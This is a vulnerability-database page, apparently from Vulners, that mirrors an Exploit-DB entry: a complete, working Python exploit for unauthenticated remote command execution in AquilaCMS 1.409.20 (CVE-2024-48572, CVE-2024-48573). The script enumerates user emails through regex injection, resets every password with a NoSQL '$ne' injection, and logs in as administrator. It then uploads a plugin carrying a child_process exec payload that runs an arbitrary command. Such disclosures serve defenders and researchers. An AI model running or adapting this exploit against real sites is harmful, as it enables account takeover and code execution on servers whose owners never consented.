Lucene search
K

AquilaCMS 1.409.20 - Remote Command Execution (RCE)

🗓️ 10 Apr 2025 00:00:00Reported by Eui Chul ChungType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 244 Views

AquilaCMS 1.409.20 has unauthenticated Remote Command Execution vulnerability (CVE-2024-48572, CVE-2024-48573)

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-48573
11 Apr 202521:02
circl
CNNVD
AquilaCMS 安全漏洞
29 Oct 202400:00
cnnvd
CNNVD
AquilaCMS 安全漏洞
29 Oct 202400:00
cnnvd
CVE
CVE-2024-48572
29 Oct 202400:00
cve
CVE
CVE-2024-48573
29 Oct 202400:00
cve
Cvelist
CVE-2024-48572
29 Oct 202400:00
cvelist
Cvelist
CVE-2024-48573
29 Oct 202400:00
cvelist
NVD
CVE-2024-48572
29 Oct 202422:15
nvd
NVD
CVE-2024-48573
29 Oct 202422:15
nvd
OSV
CVE-2024-48572
29 Oct 202422:15
osv
Rows per page
# Exploit Title: AquilaCMS 1.409.20 - Remote Command Execution (RCE)
# Date: 2024-10-25
# Exploit Author: Eui Chul Chung
# Vendor Homepage: https://www.aquila-cms.com/
# Software Link: https://github.com/AquilaCMS/AquilaCMS
# Version: v1.409.20
# CVE: CVE-2024-48572, CVE-2024-48573


import io
import json
import uuid
import string
import zipfile
import argparse
import requests
import textwrap


def unescape_special_characters(email):
    return (
        email.replace("[$]", "$")
        .replace("[*]", "*")
        .replace("[+]", "+")
        .replace("[-]", "-")
        .replace("[.]", ".")
        .replace("[?]", "?")
        .replace(r"[\^]", "^")
        .replace("[|]", "|")
    )


def get_user_emails():
    valid_characters = list(
        string.ascii_lowercase + string.digits + "!#%&'/=@_`{}~"
    ) + ["[$]", "[*]", "[+]", "[-]", "[.]", "[?]", r"[\^]", "[|]"]

    emails_found = []

    next_emails = ["^"]
    while next_emails:
        prev_emails = next_emails
        next_emails = []

        for email in prev_emails:
            found = False
            for ch in valid_characters:
                data = {"email": f"{email + ch}.*"}
                res = requests.put(f"{args.url}/api/v2/user", json=data)

                if json.loads(res.text)["code"] == "UserAlreadyExist":
                    next_emails.append(email + ch)
                    found = True

            if not found:
                emails_found.append(email[1:])
                print(f"[+] {unescape_special_characters(email[1:])}")

    return emails_found


def reset_password(email):
    data = {"email": email}
    requests.post(f"{args.url}/api/v2/user/resetpassword", json=data)

    data = {"token": {"$ne": None}, "password": args.password}
    requests.post(f"{args.url}/api/v2/user/resetpassword", json=data)

    print(f"[+] {unescape_special_characters(email)} : {args.password}")


def get_admin_auth_token(emails):
    for email in emails:
        data = {"username": email, "password": args.password}
        res = requests.post(f"{args.url}/api/v2/auth/login/admin", json=data)

        if res.status_code == 200:
            print(f"[+] Administrator account : {unescape_special_characters(email)}")
            return json.loads(res.text)["data"]

    return None


def create_plugin(plugin_name):
    payload = textwrap.dedent(
        f"""
    const {{ exec }} = require("child_process");

    /**
     * This function is called when the plugin is desactivated or when we delete it
     */
    module.exports = async function (resolve, reject) {{
      try {{
        exec("{args.command}");
        return resolve();
      }} catch (error) {{}}
    }};
    """
    ).strip()

    plugin = io.BytesIO()
    with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
        zip_file.writestr(
            f"{plugin_name}/package.json",
            io.BytesIO(f'{{ "name": "{plugin_name}" }}'.encode()).getvalue(),
        )
        zip_file.writestr(
            f"{plugin_name}/info.json", io.BytesIO(b'{ "info": {} }').getvalue()
        )
        zip_file.writestr(
            f"{plugin_name}/uninit.js", io.BytesIO(payload.encode()).getvalue()
        )

    plugin.seek(0)
    return plugin


def rce(emails):
    auth_token = get_admin_auth_token(emails)
    if auth_token is None:
        print("[-] Administrator account not found")
        return

    print("[+] Create malicious plugin")
    plugin_name = uuid.uuid4().hex
    plugin = create_plugin(plugin_name)

    print("[+] Upload plugin")
    headers = {"Authorization": auth_token}
    files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")}
    requests.post(f"{args.url}/api/v2/modules/upload", headers=headers, files=files)

    print("[+] Find uploaded plugin")
    headers = {"Authorization": auth_token}
    data = {"PostBody": {"limit": 0}}
    res = requests.post(f"{args.url}/api/v2/modules", headers=headers, json=data)

    plugin_id = None
    for data in json.loads(res.text)["datas"]:
        if data["name"] == plugin_name:
            plugin_id = data["_id"]
            print(f"[+] Plugin ID : {plugin_id}")
            break

    if plugin_id is None:
        print("[-] Plugin not found")
        return

    print("[+] Deactivate plugin")
    headers = {"Authorization": auth_token}
    data = {"idModule": plugin_id, "active": False}
    res = requests.post(f"{args.url}/api/v2/modules/toggle", headers=headers, json=data)

    if res.status_code == 200:
        print("[+] Command execution succeeded")
    else:
        print("[-] Command execution failed")


def main():
    print("[*] Retrieve email addresses")
    emails = get_user_emails()

    print("\n[*] Reset password")
    for email in emails:
        reset_password(email)

    print("\n[*] Perform remote code execution")
    rce(emails)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-u",
        dest="url",
        help="Site URL (e.g. www.aquila-cms.com)",
        type=str,
        required=True,
    )
    parser.add_argument(
        "-p",
        dest="password",
        help="Password to use for password reset (e.g. HaXX0r3d!)",
        type=str,
        default="HaXX0r3d!",
    )
    parser.add_argument(
        "-c",
        dest="command",
        help="Command to execute (e.g. touch /tmp/pwned)",
        type=str,
        default="touch /tmp/pwned",
    )
    args = parser.parse_args()

    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Apr 2025 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 3.19.8
EPSS0.00603
SSVC
244